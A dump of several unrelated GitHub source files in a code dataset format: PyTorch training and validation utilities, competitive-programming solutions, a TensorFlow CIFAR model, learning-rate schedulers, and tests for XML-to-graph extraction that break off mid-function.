train_error = 0.\n train_loss = 0.\n for batch_idx, (feature, label_batch) in enumerate(loader):\n feature = feature.to(device)\n\n results_dict = model(feature)\n logits_batch, Y_prob_batch, Y_hat_batch = results_dict['logits'], results_dict['Y_prob'], results_dict['Y_hat']\n\n Y_hat_batch = Y_hat_batch.squeeze(-1).cpu()\n logger.log_batch_rnn(Y_hat_batch, label_batch)\n acc_num = torch.eq(Y_hat_batch, label_batch).sum().float().item()\n loss = loss_fn(logits_batch, label_batch.to(device).to(torch.long))\n loss_value = loss.item()\n\n train_loss += loss_value\n localtime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n logging.info('time {}, batch {}, loss: {:.4f}, acc: {:.4f}'.format(localtime, batch_idx, loss_value,\n acc_num / feature.shape[0]))\n error = calculate_error(Y_hat_batch, label_batch)\n train_error += error\n\n # backward pass\n loss.backward()\n # step\n optimizer.step()\n optimizer.zero_grad()\n\n # calculate loss and error for epoch\n train_loss /= len(loader)\n train_error /= len(loader)\n\n logging.info(\n 'Epoch: {}, cls train_loss: {:.4f}, cls train_error: {:.4f}'.format(epoch, train_loss, train_error))\n for i in range(n_classes):\n acc, correct, count = logger.get_summary(i)\n logging.info('class {}: tpr {:.4f}, correct {}/{}'.format(i, acc, correct, count))\n if writer:\n writer.add_scalar('train/class_{}_tpr'.format(i), acc, epoch)\n\n if writer:\n writer.add_scalar('train/cls_loss', train_loss, epoch)\n writer.add_scalar('train/cls_error', train_error, epoch)\n\n\ndef validate(cur, epoch, model, loader, n_classes, early_stopping=None, writer=None, loss_fn=None, results_dir=None):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model.eval()\n cls_logger = Accuracy_Logger(n_classes=n_classes)\n cls_val_error = 0.\n cls_val_loss = 0.\n\n cls_probs = np.zeros((len(loader), n_classes))\n cls_labels = np.zeros(len(loader))\n\n with torch.no_grad():\n for batch_idx, (data, label) in enumerate(loader):\n data = data.to(device)\n label = label.to(device)\n\n results_dict = model(data)\n logits, Y_prob, Y_hat = results_dict['logits'], results_dict['Y_prob'], results_dict['Y_hat']\n del results_dict\n\n cls_logger.log(Y_hat, label)\n\n cls_loss = loss_fn(logits, label)\n cls_loss_value = cls_loss.item()\n\n cls_probs[batch_idx] = Y_prob.cpu().numpy()\n cls_labels[batch_idx] = label.item()\n\n cls_val_loss += cls_loss_value\n cls_error = calculate_error(Y_hat, label)\n cls_val_error += cls_error\n\n cls_val_error /= len(loader)\n cls_val_loss /= len(loader)\n\n if n_classes == 2:\n cls_auc = roc_auc_score(cls_labels, cls_probs[:, 1])\n cls_aucs = []\n else:\n cls_aucs = []\n binary_labels = label_binarize(cls_labels, classes=[i for i in range(n_classes)])\n for class_idx in range(n_classes):\n if class_idx in cls_labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], cls_probs[:, class_idx])\n cls_aucs.append(calc_auc(fpr, tpr))\n else:\n cls_aucs.append(float('nan'))\n\n cls_auc = np.nanmean(np.array(cls_aucs))\n\n if writer:\n writer.add_scalar('val/cls_loss', cls_val_loss, epoch)\n writer.add_scalar('val/cls_auc', cls_auc, epoch)\n writer.add_scalar('val/cls_error', cls_val_error, epoch)\n\n logging.info(\n '\\nVal Set, cls val_loss: {:.4f}, cls val_error: {:.4f}, cls auc: {:.4f}'.format(cls_val_loss, cls_val_error,\n cls_auc))\n for i in range(n_classes):\n acc, correct, count = cls_logger.get_summary(i)\n logging.info('class {}: tpr {}, correct {}/{}'.format(i, acc, correct, count))\n if writer:\n writer.add_scalar('val/class_{}_tpr'.format(i), acc, epoch)\n\n if early_stopping:\n assert results_dir\n early_stopping(epoch, cls_val_loss, model,\n ckpt_name=os.path.join(results_dir, \"s_{}_checkpoint.pt\".format(cur)))\n\n if early_stopping.early_stop:\n logging.info(\"Early stopping\")\n return True\n\n return False\n\n\ndef validate_rnn(cur, epoch, model, loader, n_classes, early_stopping=None, writer=None, loss_fn=None,\n results_dir=None):\n model.eval()\n logger = Accuracy_Logger(n_classes=n_classes)\n val_error = 0.\n val_loss = 0.\n\n probs = np.zeros((len(loader.dataset), n_classes))\n labels = np.zeros(len(loader.dataset))\n\n with torch.no_grad():\n for batch_idx, (feature, label_batch) in enumerate(loader):\n feature = feature.to(device)\n results_dict = model(feature)\n logits_batch, Y_prob_batch, Y_hat_batch = results_dict['logits'], results_dict['Y_prob'], results_dict[\n 'Y_hat']\n\n Y_hat_batch = Y_hat_batch.squeeze(-1).cpu()\n logger.log_batch_rnn(Y_hat_batch, label_batch)\n acc_num = torch.eq(Y_hat_batch, label_batch).sum().float().item()\n loss = loss_fn(logits_batch, label_batch.to(device).to(torch.long))\n loss_value = loss.item()\n\n val_loss += loss_value\n # localtime = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n # logging.info('time {}, batch {}, loss: {:.4f}, acc: {:.4f}'.format(localtime, batch_idx, loss_value,\n # acc_num / feature.shape[0]))\n error = calculate_error(Y_hat_batch, label_batch)\n val_error += error\n probs[\n batch_idx * loader.batch_size:batch_idx * loader.batch_size + feature.shape[0]] = Y_prob_batch.cpu().numpy()\n labels[\n batch_idx * loader.batch_size:batch_idx * loader.batch_size + feature.shape[0]] = label_batch.numpy()\n\n val_error /= len(loader)\n val_loss /= len(loader)\n\n if n_classes == 2:\n auc = roc_auc_score(labels, probs[:, 1])\n else:\n cls_aucs = []\n binary_labels = label_binarize(labels, classes=[i for i in range(n_classes)])\n for class_idx in range(n_classes):\n if class_idx in labels:\n fpr, tpr, _ = roc_curve(binary_labels[:, class_idx], probs[:, class_idx])\n cls_aucs.append(calc_auc(fpr, tpr))\n else:\n cls_aucs.append(float('nan'))\n\n auc = np.nanmean(np.array(cls_aucs))\n\n if writer:\n writer.add_scalar('val/cls_loss', val_loss, epoch)\n writer.add_scalar('val/cls_auc', auc, epoch)\n writer.add_scalar('val/cls_error', val_error, epoch)\n\n logging.info(\n '\\nVal Set, cls val_loss: {:.4f}, cls val_error: {:.4f}, cls auc: {:.4f}'.format(val_loss, val_error,\n auc))\n for i in range(n_classes):\n acc, correct, count = logger.get_summary(i)\n logging.info('class {}: tpr {:.4f}, correct {}/{}'.format(i, acc, correct, count))\n if writer:\n writer.add_scalar('val/class_{}_tpr'.format(i), acc, epoch)\n\n if early_stopping:\n assert results_dir\n early_stopping(epoch, val_loss, model,\n ckpt_name=os.path.join(results_dir, \"s_{}_checkpoint.pt\".format(cur)))\n\n if early_stopping.early_stop:\n logging.info(\"Early stopping\")\n return True\n\n return False\n\n\ndef summary(model, loader, n_classes):\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n cls_logger = Accuracy_Logger(n_classes=n_classes)\n model.eval()\n cls_test_error = 0.\n cls_test_loss = 0.\n\n all_cls_probs = np.zeros((len(loader), n_classes))\n all_cls_labels = np.zeros(len(loader))\n\n slide_ids = loader.dataset.slide_data['slide_id']\n patient_results = {}\n\n for batch_idx, (data, label) in enumerate(loader):\n data = data.to(device)\n label = label.to(device)\n slide_id = slide_ids.iloc[batch_idx]\n with torch.no_grad():\n results_dict = model(data)\n\n logits, Y_prob, Y_hat = results_dict['logits'], results_dict['Y_prob'], results_dict['Y_hat']\n\n cls_logger.log(Y_hat, label)\n cls_probs = Y_prob.cpu().numpy()\n all_cls_probs[batch_idx] = cls_probs\n all_cls_labels[batch_idx] = label.item()\n\n patient_results.update(\n {slide_id: {'slide_id': np.array(slide_id), 'cls_prob': cls_probs, 'cls_label': label.item()}})\n cls_error = calculate_error(Y_hat, label)\n cls_test_error += cls_error\n\n cls_test_error /= len(loader)\n\n if n_classes == 2:\n cls_auc = roc_auc_score(all_cls_labels, all_cls_probs[:, 1])\n\n else:\n cls_auc = roc_auc_score(all_cls_labels, all_cls_probs, multi_class='ovr')\n\n return patient_results, cls_test_error, cls_auc, cls_logger\n\n\ndef summary_rnn(model, loader, n_classes):\n cls_logger = Accuracy_Logger(n_classes=n_classes)\n model.eval()\n cls_test_error = 0.\n cls_test_loss = 0.\n\n all_cls_probs = np.zeros((len(loader.dataset), n_classes))\n all_cls_labels = np.zeros(len(loader.dataset))\n\n patient_results = {}\n\n with torch.no_grad():\n for batch_idx, (feature, label_batch) in enumerate(loader):\n feature = feature.to(device)\n results_dict = model(feature)\n\n logits_batch, Y_prob_batch, Y_hat_batch = results_dict['logits'], results_dict['Y_prob'], results_dict[\n 'Y_hat']\n\n Y_hat_batch = Y_hat_batch.squeeze(-1).cpu()\n\n cls_logger.log_batch_rnn(Y_hat_batch, label_batch)\n cls_probs = Y_prob_batch.cpu().numpy()\n all_cls_probs[\n batch_idx * loader.batch_size:batch_idx * loader.batch_size + feature.shape[0]] = cls_probs\n all_cls_labels[\n batch_idx * loader.batch_size:batch_idx * loader.batch_size + feature.shape[0]] = label_batch.numpy()\n slide_ids = loader.dataset.slide_data['slide_id'][\n batch_idx * loader.batch_size:batch_idx * loader.batch_size + feature.shape[0]]\n\n patient_results.update(\n {'slide_id': slide_ids, 'cls_prob': cls_probs[:, 1], 'cls_label': label_batch.numpy()})\n cls_error = calculate_error(Y_hat_batch, label_batch)\n cls_test_error += cls_error\n\n cls_test_error /= len(loader)\n\n if n_classes == 2:\n cls_auc = roc_auc_score(all_cls_labels, all_cls_probs[:, 1])\n\n else:\n cls_auc = roc_auc_score(all_cls_labels, all_cls_probs, multi_class='ovr')\n\n return patient_results, cls_test_error, cls_auc, cls_logger\n","repo_name":"woshihang01/WiseMSI","sub_path":"utils/core_utils_mtl_concat.py","file_name":"core_utils_mtl_concat.py","file_ext":"py","file_size_in_byte":22471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73646429902","text":"n = int(input())\noriginals = set()\nans = 0\nmax_score = 0\nfor i in range(n):\n s, t = input().split()\n t = int(t)\n if s not in originals:\n originals.add(s)\n if t > max_score:\n max_score = t\n ans = i + 1\nprint(ans)\n","repo_name":"snhr-1019/competitive-programming","sub_path":"AtCoder/abc251/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38449747578","text":"import tensorflow as tf\nfrom layers.activation import relu, bernouilly_activation\nfrom layers.pooling import max_pool_2D\nfrom layers.trainable import fc, conv_2D\nfrom layers.normalization import bn\nfrom layers.regularization import weight_decay, shade, shade_conv, reve\nimport math\nfrom abstract_model import Abstract_Model\n\n\nFC_WEIGHT_STDDEV=0.01\nCONV_WEIGHT_STDDEV=0.01\nconv_init = tf.truncated_normal_initializer(stddev=CONV_WEIGHT_STDDEV)\nfc_init = tf.truncated_normal_initializer(stddev=CONV_WEIGHT_STDDEV)\n\nactivation = relu\nCONV_WEIGHT_DECAY = 0.0001\nregul = shade\ndef regularization(layer, losses, decay, inputs, params):\n reg = regul(inputs, params)\n reg_name = 'regul_'+str(layer)\n losses[reg_name] = reg * decay\n tf.add_to_collection(reg_name, [params])\n return layer + 1, losses\n\n\ndef regularization_conv(layer, losses, decay, inputs, params):\n reg = shade_conv(inputs, params)\n reg_name = 'regul_'+str(layer)\n losses[reg_name] = reg * decay\n tf.add_to_collection(reg_name, [params])\n return layer + 1, losses\n\nDATA_FORMAT = 'NCHW'\n\n\nclass Model(Abstract_Model):\n def __init__(self, opts, sess): \n Abstract_Model.__init__(self, opts, sess)\n\n\n def optim_param_schedule(self, board):\n epoch = board.epoch\n momentum = 0.9 \n lr = 0.008*math.pow(0.99, epoch-1) #good one\n return {\"lr\":lr, \"momentum\":momentum}\n\n\n def inference(self, inputs, labels, training_mode):\n losses = {} \n regul_loss = 0\n x = inputs\n layer = 1\n with tf.variable_scope('layer_1'):\n n_out = 32 \n x, params1 = conv_2D(x, 5, 1, n_out, conv_init, use_biases=True, padding='SAME')\n tf.add_to_collection('classification_loss', [params1]) \n tf.add_to_collection('reve_loss', [params1]) \n layer, losses = regularization_conv(layer, losses, CONV_WEIGHT_DECAY, x, params1) \n x = activation(x, training_mode)\n x = tf.nn.max_pool(x, ksize=[1, 1, 2, 2], strides=[1, 1, 2, 2], padding='SAME', data_format=DATA_FORMAT)\n \n with tf.variable_scope('layer_2'):\n n_out = 64\n x, params2 = conv_2D(x, 5, 1, n_out, conv_init, True, padding='SAME') \n tf.add_to_collection('classification_loss', [params2]) \n tf.add_to_collection('reve_loss', [params2]) \n layer, losses = regularization_conv(layer, losses, CONV_WEIGHT_DECAY, x, params2) \n x = activation(x, training_mode)\n x = tf.nn.max_pool(x, ksize=[1, 1, 2, 2], strides=[1, 1, 2, 2], padding='SAME', data_format=DATA_FORMAT)\n\n \n with tf.variable_scope('layer_3'):\n n_out = 64\n x, params3 = conv_2D(x, 5, 1, n_out, conv_init, True, padding='SAME') \n tf.add_to_collection('classification_loss', [params3])\n tf.add_to_collection('reve_loss', [params3])\n layer, losses = regularization_conv(layer, losses, CONV_WEIGHT_DECAY, x, params3) \n x = activation(x, training_mode)\n x = tf.nn.max_pool(x, ksize=[1, 1, 2, 2], strides=[1, 1, 2, 2], padding='SAME', data_format=DATA_FORMAT)\n\n x_ = tf.reshape(x, [-1, 4*4*n_out]) \n with tf.variable_scope('layer_4'):\n n_out = 1000\n x, params4 = fc(x_, n_out, fc_init)\n tf.add_to_collection('classification_loss', [params4])\n tf.add_to_collection('reve_loss', [params4])\n layer, losses = regularization(layer, losses, CONV_WEIGHT_DECAY, x, params4)\n x = activation(x, training_mode)\n\n with tf.variable_scope('layer_5'):\n n_outputs = 10\n outputs, params5 = fc(x, n_outputs, fc_init) \n tf.add_to_collection('classification_loss', [params5])\n tf.add_to_collection('reve_loss', [params5])\n layer, losses = regularization(layer, losses, CONV_WEIGHT_DECAY, outputs, params5) \n \n \n losses['reve_loss'] = reve(x, params5, 0.002, labels)\n losses['classification_loss'] = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=outputs, labels=labels)) \n\n return outputs, losses, tf.constant(0)","repo_name":"guadoc/deep_learning_framework","sub_path":"CIFAR/models_cifar/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":4331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5125212360","text":"# This example requires \"matplotlib\" and \"scikit-learn\", too.\n\nimport os\n\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\nfrom sklearn import datasets\nfrom sklearn.preprocessing import StandardScaler\n\nimport b4tf\n\n\nX, y = datasets.load_boston(return_X_y=True)\n# X, y = datasets.fetch_california_housing(return_X_y=True)\n\n\n\nscale_x = StandardScaler()\nscale_y = StandardScaler()\n\n_X = scale_x.fit_transform(X)\n_y = scale_y.fit_transform(y.reshape(-1,1))\n\n\npbp = b4tf.models.PBP([50,50,1],input_shape=X.shape[1])\npbp.fit(_X,_y,batch_size=8)\n\n\nid = np.arange(X.shape[0])\nm, v = pbp.predict(_X)\nm, v = tf.squeeze(m), tf.squeeze(v)\n\n\nplt.figure(figsize=(15,15))\nplt.plot(id,y,linestyle=\"\",marker=\".\",label=\"data\")\nplt.plot(id,scale_y.inverse_transform(m),alpha=0.5,label=\"predict mean\")\nplt.fill_between(id,\n scale_y.inverse_transform(m+tf.sqrt(v)),\n scale_y.inverse_transform(m-tf.sqrt(v)),\n alpha=0.5,label=\"credible interval\")\nplt.xlabel(\"data id\")\nplt.ylabel(\"target\")\nplt.legend()\n\nplt.savefig(os.path.join(os.path.dirname(__file__),\"pbp_results.png\"))\n\n","repo_name":"ymd-h/b4tf","sub_path":"example/pbp.py","file_name":"pbp.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"5828693093","text":"# I've attended the code.plus class (https://code.plus/)\n# And I've referred it's codes\n# And core parts can be come fully from the class.\n\n# the reason why dp is possible\n# continous multiplication\n\n# d[i][j] : min multiplication at matrix i~j\n# i....k....j\n# d[i][j] => d[i][k] + d[k+1][j] + r[i]*c[k]*r[j]\n# i <= k < j\n\ndef go(i,j):\n if d[i][j] != -1: # memoization\n return d[i][j]\n if i == j:\n return 0\n if i+1 == j:\n return r[i]*c[i]*c[j]\n ans = d[i][j]\n for k in range(i,j): # i~j-1\n t1 = go(i,k)\n t2 = go(k+1,j)\n \n cur = t1+t2+r[i]*c[k]*c[j]\n if ans == -1 or ans > cur:\n ans = cur\n d[i][j] = ans\n return ans \n\nn = int(input())\nr = []\nc = []\nfor _ in range(n):\n r_temp, c_temp = map(int, input().split())\n r.append(r_temp)\n c.append(c_temp)\n\nd = [[-1]*n for _ in range(n)]\nprint(go(0,n-1))\n\n\n\n\n\n","repo_name":"twoload/myAlgo","sub_path":"DP2/DP2_p1_11049_matrixMultiplyOrder.py","file_name":"DP2_p1_11049_matrixMultiplyOrder.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24861575723","text":"import itertools\nfrom bisect import bisect_right\n\n# import matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom torch.optim.lr_scheduler import (CosineAnnealingLR,\n CosineAnnealingWarmRestarts, CyclicLR,\n ExponentialLR, LambdaLR, OneCycleLR,\n ReduceLROnPlateau, StepLR, _LRScheduler)\nfrom torch.optim.sgd import SGD\n\n\nclass GradualWarmupScheduler(_LRScheduler):\n \"\"\"Gradually warm-up(increasing) learning rate in optimizer.\n Proposed in 'Accurate, Large Minibatch SGD: Training ImageNet in 1 Hour'.\n Args:\n optimizer (Optimizer): Wrapped optimizer.\n multiplier: target learning rate = base lr * multiplier if multiplier > 1.0. if multiplier = 1.0, lr starts from 0 and ends up with the base_lr.\n total_epoch: target learning rate is reached at total_epoch, gradually\n after_scheduler: after target_epoch, use this scheduler(eg. ReduceLROnPlateau)\n \"\"\"\n def __init__(self,\n optimizer,\n multiplier,\n total_epoch,\n after_scheduler=None):\n self.multiplier = multiplier\n if self.multiplier < 1.0:\n raise ValueError(\n 'multiplier should be greater thant or equal to 1.')\n self.total_epoch = total_epoch\n self.after_scheduler = after_scheduler\n self.finished = False\n super(GradualWarmupScheduler, self).__init__(optimizer)\n\n def get_lr(self):\n if self.last_epoch > self.total_epoch:\n if self.after_scheduler:\n if not self.finished:\n self.after_scheduler.base_lrs = [\n base_lr * self.multiplier for base_lr in self.base_lrs\n ]\n self.finished = True\n return self.after_scheduler.get_last_lr()\n return [base_lr * self.multiplier for base_lr in self.base_lrs]\n\n if self.multiplier == 1.0:\n return [\n base_lr * (float(self.last_epoch) / self.total_epoch)\n for base_lr in self.base_lrs\n ]\n else:\n return [\n base_lr *\n ((self.multiplier - 1.0) * self.last_epoch / self.total_epoch +\n 1.0) for base_lr in self.base_lrs\n ]\n\n def step_ReduceLROnPlateau(self, metrics, epoch=None):\n if epoch is None:\n epoch = self.last_epoch + 1\n # ReduceLROnPlateau is called at the end of epoch, whereas others are called at beginning\n self.last_epoch = epoch if epoch != 0 else 1\n if self.last_epoch <= self.total_epoch:\n warmup_lr = [\n base_lr *\n ((self.multiplier - 1.0) * self.last_epoch / self.total_epoch +\n 1.0) for base_lr in self.base_lrs\n ]\n for param_group, lr in zip(self.optimizer.param_groups, warmup_lr):\n param_group['lr'] = lr\n else:\n if epoch is None:\n self.after_scheduler.step(metrics, None)\n else:\n self.after_scheduler.step(metrics, epoch - self.total_epoch)\n\n def step(self, epoch=None, metrics=None):\n if type(self.after_scheduler) != ReduceLROnPlateau:\n if self.finished and self.after_scheduler:\n if epoch is None:\n self.after_scheduler.step(None)\n else:\n self.after_scheduler.step(epoch - self.total_epoch)\n self._last_lr = self.after_scheduler.get_last_lr()\n else:\n return super(GradualWarmupScheduler, self).step(epoch)\n else:\n self.step_ReduceLROnPlateau(metrics, epoch)\n\n\n# class StepLR:\n# def __init__(self, optimizer, learning_rate: float, total_epochs: int):\n# self.optimizer = optimizer\n# self.total_epochs = total_epochs\n# self.base = learning_rate\n\n# def __call__(self, epoch):\n# if epoch < self.total_epochs * 3 / 10:\n# lr = self.base\n# elif epoch < self.total_epochs * 6 / 10:\n# lr = self.base * 0.2\n# elif epoch < self.total_epochs * 8 / 10:\n# lr = self.base * 0.2**2\n# else:\n# lr = self.base * 0.2**3\n\n# for param_group in self.optimizer.param_groups:\n# param_group['lr'] = lr\n\n# def lr(self) -> float:\n# return self.optimizer.param_groups[0]['lr']\n\n\nclass model(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(in_channels=3, out_channels=3, kernel_size=3)\n\n def forward(self, x):\n pass\n\n\nclass CustomScheduler():\n def __init__(self, optimizer, learning_rate: float, total_epochs: int):\n self.optimizer = optimizer\n self.total_epochs = total_epochs\n self.base = learning_rate\n\n def __call__(self, epoch):\n if epoch < self.total_epochs * 3 / 10:\n lr = self.base\n elif epoch < self.total_epochs * 6 / 10:\n lr = self.base * 0.2\n elif epoch < self.total_epochs * 8 / 10:\n lr = self.base * 0.2**2\n else:\n lr = self.base * 0.2**3\n\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = lr\n\n def lr(self) -> float:\n return self.optimizer.param_groups[0]['lr']\n\n\nclass WarmupMultiStepLR(torch.optim.lr_scheduler._LRScheduler):\n def __init__(\n self,\n optimizer,\n milestones,\n gamma=0.1,\n warmup_factor=1 / 3,\n warmup_epochs=25,\n warmup_method='linear',\n last_epoch=-1,\n ):\n if not list(milestones) == sorted(milestones):\n raise ValueError(\n 'Milestones should be a list of'\n ' increasing integers. Got {}',\n milestones,\n )\n\n if warmup_method not in ('constant', 'linear'):\n raise ValueError(\n \"Only 'constant' or 'linear' warmup_method accepted\"\n 'got {}'.format(warmup_method))\n self.milestones = milestones\n self.gamma = gamma\n self.warmup_factor = warmup_factor\n self.warmup_epochs = warmup_epochs\n self.warmup_method = warmup_method\n super(WarmupMultiStepLR, self).__init__(optimizer, last_epoch)\n\n def get_lr(self):\n warmup_factor = 1\n if self.last_epoch < self.warmup_epochs:\n if self.warmup_method == 'constant':\n warmup_factor = self.warmup_factor\n elif self.warmup_method == 'linear':\n alpha = self.last_epoch / self.warmup_epochs\n warmup_factor = self.warmup_factor * (1 - alpha) + alpha\n return [\n base_lr * warmup_factor *\n self.gamma**bisect_right(self.milestones, self.last_epoch)\n for base_lr in self.base_lrs\n ]\n\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n initial_lr = 0.1\n total_epoch = 100\n net = model()\n\n optimizer = torch.optim.SGD(net.parameters(), lr=initial_lr)\n # scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200)\n # scheduler = StepLR(optimizer, initial_lr, total_epoch)\n # scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=5)\n # scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=total_epoch, eta_min=0.0001)\n # a_scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer,\n # lambda step: (1.0-step/total_epoch), last_epoch=-1)\n # scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200)\n # scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer,\n # milestones=[100, 150], last_epoch=-1,gamma=0.5)\n # scheduler = GradualWarmupScheduler(\n # optimizer, 1, total_epoch=5, after_scheduler=a_scheduler\n # )\n # scheduler = WarmupMultiStepLR(optimizer, [100,150], gamma=0.5)\n # scheduler = CyclicLR(optimizer, base_lr=0, max_lr=0.1, step_size_up=15, step_size_down=20)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(\n optimizer, T_0=10, T_mult=2, eta_min=0.0001)\n # scheduler = LambdaLR(optimizer, lambda step : (1.0-step/total_epoch) if step > 15 else (step/total_epoch), last_epoch=-1)\n # scheduler = GradualWarmupScheduler(\n # optimizer, 1, total_epoch=15, after_scheduler=a_scheduler\n # )\n # scheduler = ReduceLROnPlateau(optimizer, 'min')\n # scheduler = OneCycleLR(optimizer,)\n # scheduler = CosineAnnealingWarmRestarts(optimizer,T_0=5,T_mult=2)\n\n print('初始化的学习率:', optimizer.defaults['lr'])\n\n lr_list = [] # 把使用过的lr都保存下来,之后画出它的变化\n\n for epoch in range(0, total_epoch):\n optimizer.zero_grad()\n optimizer.step()\n print('第%d个epoch的学习率:%f' % (epoch, optimizer.param_groups[0]['lr']))\n print(scheduler.get_lr())\n lr_list.append(optimizer.param_groups[0]['lr'])\n scheduler.step()\n\n # 画出lr的变化\n plt.plot(list(range(0, total_epoch)), lr_list)\n plt.xlabel('epoch')\n plt.ylabel('lr')\n plt.title(\"learning rate's curve changes as epoch goes on!\")\n # plt.show()\n plt.savefig('lr_show.png')\n","repo_name":"pprp/PyTorch-CIFAR-Model-Hub","sub_path":"lib/scheduler/schdulers.py","file_name":"schdulers.py","file_ext":"py","file_size_in_byte":9379,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"47"} +{"seq_id":"14362548764","text":"\"\"\"Test prot module.\"\"\"\nfrom datetime import date\nfrom pathlib import Path\nfrom typing import Any, FrozenSet, Iterable, Tuple\n\nimport dateutil.parser\nfrom py2neo import Node, Relationship, Subgraph\n\nfrom prot.xml_extract import XML2GraphConfig, extract_graph\n\n\ndef create_xml_file(path: Path, content: str) -> Path:\n \"\"\"Generate xml file.\n\n Args:\n path (Path): xml file path.\n content (str): xml document.\n\n Returns:\n File Path.\n \"\"\"\n with path.open(\"w\") as file:\n file.write(content)\n return path\n\n\ndef comparable_nodes(\n nodes: Iterable[Node],\n) -> FrozenSet[Tuple[FrozenSet[Any], FrozenSet[Tuple[Any, Any]]]]:\n \"\"\"Returns nodes in a comparable format.\n\n Args:\n nodes (Iterable[Node]): thee nodes iterable.\n\n Returns:\n Returns a frozenset and tuple representation of the collection of nodes.\n \"\"\"\n return frozenset(\n (frozenset(node.labels), frozenset(node.items())) for node in nodes\n )\n\n\ndef equal_nodes(nodes: Iterable[Node], other_nodes: Iterable[Node]) -> bool:\n \"\"\"Compares two node iterables.\n\n Args:\n nodes (Iterable[Node]): an nodes iterable to compare.\n other_nodes (Iterable[Node]): another nodes iterable to compare.\n\n Returns:\n True iff the two iterables contains exactly the same set of nodes.\n \"\"\"\n return comparable_nodes(nodes) == comparable_nodes(other_nodes)\n\n\ndef has_relationships(\n relationships: Iterable[Relationship],\n relationship_tuples: Iterable[Tuple[str, str, str]],\n) -> bool:\n \"\"\"Determines if a relationships iterable corresponds to\n an iterable of tuples representing them.\n\n Args:\n relationships (Iterable[Relationship]): the relationships to evaluate.\n relationship_tuples (Iterable[Tuple[str, str, str]):\n tuples representing the relationships as\n (source_node_label, relationship_label, target_node_label).\n\n Returns:\n True iff the relationships correspond to the tuples representing them.\n \"\"\"\n return frozenset(\n (\n frozenset(r.start_node.labels),\n type(r).__name__,\n frozenset(r.end_node.labels),\n )\n for r in relationships\n ) == frozenset(\n (frozenset([s]), r, frozenset([t])) for s, r, t in relationship_tuples\n )\n\n\ndef test_extract_graph_without_configuration(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n without configurations.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\" ?>\n <uniprot\n xmlns=\"http://uniprot.org/uniprot\"\n xsi:schemaLocation=\"http://uniprot.org/uniprot\"\n >\n <entry\n dataset=\"Swiss-Prot\"\n created=\"2000-05-30\"\n >\n <accession>Q9Y261</accession>\n <accession>Q8WUW4</accession>\n <protein>\n <recommendedName>\n <fullName>Hepatocyte nuclear factor 3-beta</fullName>\n <shortName>HNF-3B</shortName>\n </recommendedName>\n </protein>\n </entry>\n </uniprot>\n \"\"\",\n )\n\n subgraph: Subgraph = extract_graph(xml_file_path)\n\n assert len(subgraph.nodes) == 8\n assert len(subgraph.relationships) == 7\n\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Uniprot\"),\n Node(\"Entry\", dataset=\"Swiss-Prot\", created=\"2000-05-30\"),\n Node(\"Accession\", value=\"Q9Y261\"),\n Node(\"Accession\", value=\"Q8WUW4\"),\n Node(\"Protein\"),\n Node(\"RecommendedName\"),\n Node(\"FullName\", value=\"Hepatocyte nuclear factor 3-beta\"),\n Node(\"ShortName\", value=\"HNF-3B\"),\n ],\n )\n\n assert has_relationships(\n subgraph.relationships,\n [\n (\"Uniprot\", \"HAS_ENTRY\", \"Entry\"),\n (\"Entry\", \"HAS_ACCESSION\", \"Accession\"),\n (\"Entry\", \"HAS_PROTEIN\", \"Protein\"),\n (\"Protein\", \"HAS_RECOMMENDED_NAME\", \"RecommendedName\"),\n (\"RecommendedName\", \"HAS_FULL_NAME\", \"FullName\"),\n (\"RecommendedName\", \"HAS_SHORT_NAME\", \"ShortName\"),\n ],\n )\n\n\ndef test_extract_graph_with_node_lables_configuration(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n with custom node labels.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\" ?>\n <entry/>\n \"\"\",\n )\n\n config = XML2GraphConfig(\n node_labels={\n \"entry\": \"Record\",\n },\n )\n\n subgraph: Subgraph = extract_graph(xml_file_path, config)\n\n assert len(subgraph.nodes) == 1\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Record\"),\n ],\n )\n\n\ndef test_extract_graph_with_custom_relationship_labels(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph 